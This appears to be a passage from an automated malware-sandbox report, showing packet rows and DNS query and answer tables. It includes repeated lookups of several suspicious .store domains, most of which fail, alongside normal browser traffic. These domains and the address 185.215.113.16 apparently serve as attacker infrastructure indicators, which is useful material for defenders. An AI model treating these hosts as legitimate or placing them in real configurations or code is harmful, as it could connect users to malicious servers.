Oct 30, 2024 12:37:07.037132025 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.037168026 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.037177086 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.037201881 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.037211895 CET	49787	80	192.168.2.4	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 12:36:02.189249039 CET	192.168.2.4	1.1.1.1	0x748a	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:02.202754021 CET	192.168.2.4	1.1.1.1	0x69d2	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:02.214294910 CET	192.168.2.4	1.1.1.1	0x6040	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:02.226161957 CET	192.168.2.4	1.1.1.1	0x7672	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:02.241272926 CET	192.168.2.4	1.1.1.1	0x9bdc	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:53.253317118 CET	192.168.2.4	1.1.1.1	0x10d6	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:53.264837980 CET	192.168.2.4	1.1.1.1	0xb08c	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:53.275280952 CET	192.168.2.4	1.1.1.1	0x131c	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:53.286628008 CET	192.168.2.4	1.1.1.1	0xfd45	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:07.619760036 CET	192.168.2.4	1.1.1.1	0x80e6	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:07.634895086 CET	192.168.2.4	1.1.1.1	0x3db7	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:07.646886110 CET	192.168.2.4	1.1.1.1	0xda8	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:07.657844067 CET	192.168.2.4	1.1.1.1	0xbfef	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:11.620009899 CET	192.168.2.4	1.1.1.1	0x9f16	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:11.653286934 CET	192.168.2.4	1.1.1.1	0xafba	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:37:15.643423080 CET	192.168.2.4	1.1.1.1	0x7a40	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:15.650712967 CET	192.168.2.4	1.1.1.1	0x64f2	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:15.738322020 CET	192.168.2.4	1.1.1.1	0x76ff	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:15.738898993 CET	192.168.2.4	1.1.1.1	0x11c2	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:15.754575014 CET	192.168.2.4	1.1.1.1	0xe0e5	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 30, 2024 12:37:15.754861116 CET	192.168.2.4	1.1.1.1	0x6f1a	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:37:18.096556902 CET	192.168.2.4	1.1.1.1	0xe4a	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.096803904 CET	192.168.2.4	1.1.1.1	0x2a7a	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.178397894 CET	192.168.2.4	1.1.1.1	0xf49f	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.190277100 CET	192.168.2.4	1.1.1.1	0xede2	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.207015991 CET	192.168.2.4	1.1.1.1	0xd9db	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 12:37:18.812760115 CET	192.168.2.4	1.1.1.1	0x89c4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.847028017 CET	192.168.2.4	1.1.1.1	0x1580	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.866471052 CET	192.168.2.4	1.1.1.1	0x3a69	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.900780916 CET	192.168.2.4	1.1.1.1	0xd9e8	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:37:19.273386002 CET	192.168.2.4	1.1.1.1	0x6fd2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:19.307423115 CET	192.168.2.4	1.1.1.1	0xe134	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:37:20.664789915 CET	192.168.2.4	1.1.1.1	0x6e24	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:20.676676989 CET	192.168.2.4	1.1.1.1	0x44c1	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:20.685692072 CET	192.168.2.4	1.1.1.1	0x8a04	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:37:22.763560057 CET	192.168.2.4	1.1.1.1	0xa328	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:38.764786005 CET	192.168.2.4	1.1.1.1	0xae26	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:38.766412020 CET	192.168.2.4	1.1.1.1	0x3cc6	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:37:38.850608110 CET	192.168.2.4	1.1.1.1	0xb41d	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 12:37:38.902863979 CET	192.168.2.4	1.1.1.1	0x5399	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:37:38.969508886 CET	192.168.2.4	1.1.1.1	0xd62a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:37:39.269499063 CET	192.168.2.4	1.1.1.1	0xb720	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.286487103 CET	192.168.2.4	1.1.1.1	0xbf47	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.297914982 CET	192.168.2.4	1.1.1.1	0xb11e	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 12:37:39.352521896 CET	192.168.2.4	1.1.1.1	0x2e5a	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.356028080 CET	192.168.2.4	1.1.1.1	0x4acb	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.361242056 CET	192.168.2.4	1.1.1.1	0xe5a7	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 12:37:39.400244951 CET	192.168.2.4	1.1.1.1	0xfb12	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.419967890 CET	192.168.2.4	1.1.1.1	0x72e9	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:37:39.659666061 CET	192.168.2.4	1.1.1.1	0x8267	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:40.079679966 CET	192.168.2.4	1.1.1.1	0xcef4	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:40.094898939 CET	192.168.2.4	1.1.1.1	0xb03b	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:40.107827902 CET	192.168.2.4	1.1.1.1	0x61d9	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:41.066514015 CET	192.168.2.4	1.1.1.1	0xf3d5	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.640686989 CET	192.168.2.4	1.1.1.1	0x9883	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.649255037 CET	192.168.2.4	1.1.1.1	0x6e51	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.656934023 CET	192.168.2.4	1.1.1.1	0x7f2	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:37:42.763360023 CET	192.168.2.4	1.1.1.1	0x783f	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.763417006 CET	192.168.2.4	1.1.1.1	0x99e5	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.763655901 CET	192.168.2.4	1.1.1.1	0xf859	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.774461031 CET	192.168.2.4	1.1.1.1	0xe5f8	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.774584055 CET	192.168.2.4	1.1.1.1	0xe59c	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.775105000 CET	192.168.2.4	1.1.1.1	0x2a49	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.782610893 CET	192.168.2.4	1.1.1.1	0xa05a	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 30, 2024 12:37:42.782774925 CET	192.168.2.4	1.1.1.1	0xd29a	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 30, 2024 12:37:42.783638954 CET	192.168.2.4	1.1.1.1	0x75a0	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 30, 2024 12:37:42.790469885 CET	192.168.2.4	1.1.1.1	0x3c93	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.791030884 CET	192.168.2.4	1.1.1.1	0xb35e	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.798171997 CET	192.168.2.4	1.1.1.1	0xf264	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.798542023 CET	192.168.2.4	1.1.1.1	0x82f4	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.809328079 CET	192.168.2.4	1.1.1.1	0xcec6	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 30, 2024 12:37:42.809753895 CET	192.168.2.4	1.1.1.1	0xb6ad	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 30, 2024 12:37:45.446964979 CET	192.168.2.4	1.1.1.1	0x907f	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 12:37:56.334933996 CET	192.168.2.4	1.1.1.1	0x15e6	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 12:38:01.693011999 CET	192.168.2.4	1.1.1.1	0xdbbc	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:38:01.835515022 CET	192.168.2.4	1.1.1.1	0xf4a2	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:01.903182983 CET	192.168.2.4	1.1.1.1	0x6421	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 12:38:01.968024969 CET	192.168.2.4	1.1.1.1	0x56d5	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:38:02.013540030 CET	192.168.2.4	1.1.1.1	0xd13e	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:02.023060083 CET	192.168.2.4	1.1.1.1	0x9cc4	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:38:02.156940937 CET	192.168.2.4	1.1.1.1	0xc36d	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 12:38:02.178472042 CET	192.168.2.4	1.1.1.1	0x92c8	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:38:02.526660919 CET	192.168.2.4	1.1.1.1	0x8d06	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:02.869298935 CET	192.168.2.4	1.1.1.1	0x390e	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 12:38:04.899811983 CET	192.168.2.4	1.1.1.1	0xb00f	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:38:05.527400017 CET	192.168.2.4	1.1.1.1	0x57c6	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:05.528445005 CET	192.168.2.4	1.1.1.1	0xb63	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 30, 2024 12:38:05.882817030 CET	192.168.2.4	1.1.1.1	0xea83	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:05.883410931 CET	192.168.2.4	1.1.1.1	0x4860	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 30, 2024 12:38:08.276288033 CET	192.168.2.4	1.1.1.1	0xcb1d	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 12:38:19.253060102 CET	192.168.2.4	1.1.1.1	0x2bbd	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 12:38:30.895220041 CET	192.168.2.4	1.1.1.1	0x7dcc	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.898375034 CET	192.168.2.4	1.1.1.1	0xc1c6	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.901532888 CET	192.168.2.4	1.1.1.1	0x4c04	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 12:38:30.910363913 CET	192.168.2.4	1.1.1.1	0x2ad1	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.912559032 CET	192.168.2.4	1.1.1.1	0x7ff4	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.919519901 CET	192.168.2.4	1.1.1.1	0x9865	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 12:38:30.921350956 CET	192.168.2.4	1.1.1.1	0xb6f6	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Oct 30, 2024 12:38:31.554270983 CET	192.168.2.4	1.1.1.1	0xccf4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:40.107117891 CET	192.168.2.4	1.1.1.1	0xf17b	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:40.124875069 CET	192.168.2.4	1.1.1.1	0xdcf1	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 12:36:02.198658943 CET	1.1.1.1	192.168.2.4	0x748a	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:02.212157965 CET	1.1.1.1	192.168.2.4	0x69d2	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:02.224024057 CET	1.1.1.1	192.168.2.4	0x6040	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:02.240149021 CET	1.1.1.1	192.168.2.4	0x7672	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:02.256222010 CET	1.1.1.1	192.168.2.4	0x9bdc	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:02.256222010 CET	1.1.1.1	192.168.2.4	0x9bdc	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:53.263187885 CET	1.1.1.1	192.168.2.4	0x10d6	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:53.273930073 CET	1.1.1.1	192.168.2.4	0xb08c	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:53.285707951 CET	1.1.1.1	192.168.2.4	0x131c	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:36:53.295505047 CET	1.1.1.1	192.168.2.4	0xfd45	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:07.629290104 CET	1.1.1.1	192.168.2.4	0x80e6	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:07.644390106 CET	1.1.1.1	192.168.2.4	0x3db7	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:07.656116009 CET	1.1.1.1	192.168.2.4	0xda8	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:07.673336029 CET	1.1.1.1	192.168.2.4	0xbfef	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:11.587775946 CET	1.1.1.1	192.168.2.4	0x4d57	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:11.629414082 CET	1.1.1.1	192.168.2.4	0x9f16	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:15.651592016 CET	1.1.1.1	192.168.2.4	0x7a40	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:15.651592016 CET	1.1.1.1	192.168.2.4	0x7a40	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:15.658657074 CET	1.1.1.1	192.168.2.4	0x64f2	No error (0)	youtube.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:15.749701977 CET	1.1.1.1	192.168.2.4	0x11c2	No error (0)	youtube.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:15.749797106 CET	1.1.1.1	192.168.2.4	0x76ff	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:15.762212992 CET	1.1.1.1	192.168.2.4	0x6f1a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 30, 2024 12:37:15.762298107 CET	1.1.1.1	192.168.2.4	0xe0e5	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 30, 2024 12:37:18.104005098 CET	1.1.1.1	192.168.2.4	0xe4a	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.104965925 CET	1.1.1.1	192.168.2.4	0x2a7a	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.104965925 CET	1.1.1.1	192.168.2.4	0x2a7a	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.186021090 CET	1.1.1.1	192.168.2.4	0xf49f	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.198415995 CET	1.1.1.1	192.168.2.4	0xede2	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.820733070 CET	1.1.1.1	192.168.2.4	0x89c4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:18.820733070 CET	1.1.1.1	192.168.2.4	0x89c4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.854382992 CET	1.1.1.1	192.168.2.4	0x1580	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:18.854382992 CET	1.1.1.1	192.168.2.4	0x1580	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:18.875286102 CET	1.1.1.1	192.168.2.4	0x3a69	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:19.250266075 CET	1.1.1.1	192.168.2.4	0xfe31	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:19.250266075 CET	1.1.1.1	192.168.2.4	0xfe31	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:19.281183004 CET	1.1.1.1	192.168.2.4	0x6fd2	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:20.672945023 CET	1.1.1.1	192.168.2.4	0x6e24	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:20.672945023 CET	1.1.1.1	192.168.2.4	0x6e24	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:20.672945023 CET	1.1.1.1	192.168.2.4	0x6e24	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:20.685087919 CET	1.1.1.1	192.168.2.4	0x44c1	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:20.692985058 CET	1.1.1.1	192.168.2.4	0x8a04	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 30, 2024 12:37:22.772744894 CET	1.1.1.1	192.168.2.4	0xa328	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:38.772206068 CET	1.1.1.1	192.168.2.4	0xae26	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:38.772206068 CET	1.1.1.1	192.168.2.4	0xae26	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:38.923470020 CET	1.1.1.1	192.168.2.4	0x6daf	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:38.923470020 CET	1.1.1.1	192.168.2.4	0x6daf	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.277132988 CET	1.1.1.1	192.168.2.4	0xb720	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.293905973 CET	1.1.1.1	192.168.2.4	0xbf47	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.321135044 CET	1.1.1.1	192.168.2.4	0x1f68	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:39.321135044 CET	1.1.1.1	192.168.2.4	0x1f68	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.350872040 CET	1.1.1.1	192.168.2.4	0xfabd	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.359981060 CET	1.1.1.1	192.168.2.4	0x2e5a	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.363123894 CET	1.1.1.1	192.168.2.4	0x4acb	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:39.363123894 CET	1.1.1.1	192.168.2.4	0x4acb	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.407958984 CET	1.1.1.1	192.168.2.4	0xfb12	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:39.667608976 CET	1.1.1.1	192.168.2.4	0x8267	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:39.667608976 CET	1.1.1.1	192.168.2.4	0x8267	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:40.068489075 CET	1.1.1.1	192.168.2.4	0xeeed	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:40.090167999 CET	1.1.1.1	192.168.2.4	0xcef4	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:40.105166912 CET	1.1.1.1	192.168.2.4	0xb03b	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:41.077795029 CET	1.1.1.1	192.168.2.4	0xf3d5	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.648530006 CET	1.1.1.1	192.168.2.4	0x9883	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:42.648530006 CET	1.1.1.1	192.168.2.4	0x9883	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:42.648530006 CET	1.1.1.1	192.168.2.4	0x9883	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.656444073 CET	1.1.1.1	192.168.2.4	0x6e51	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
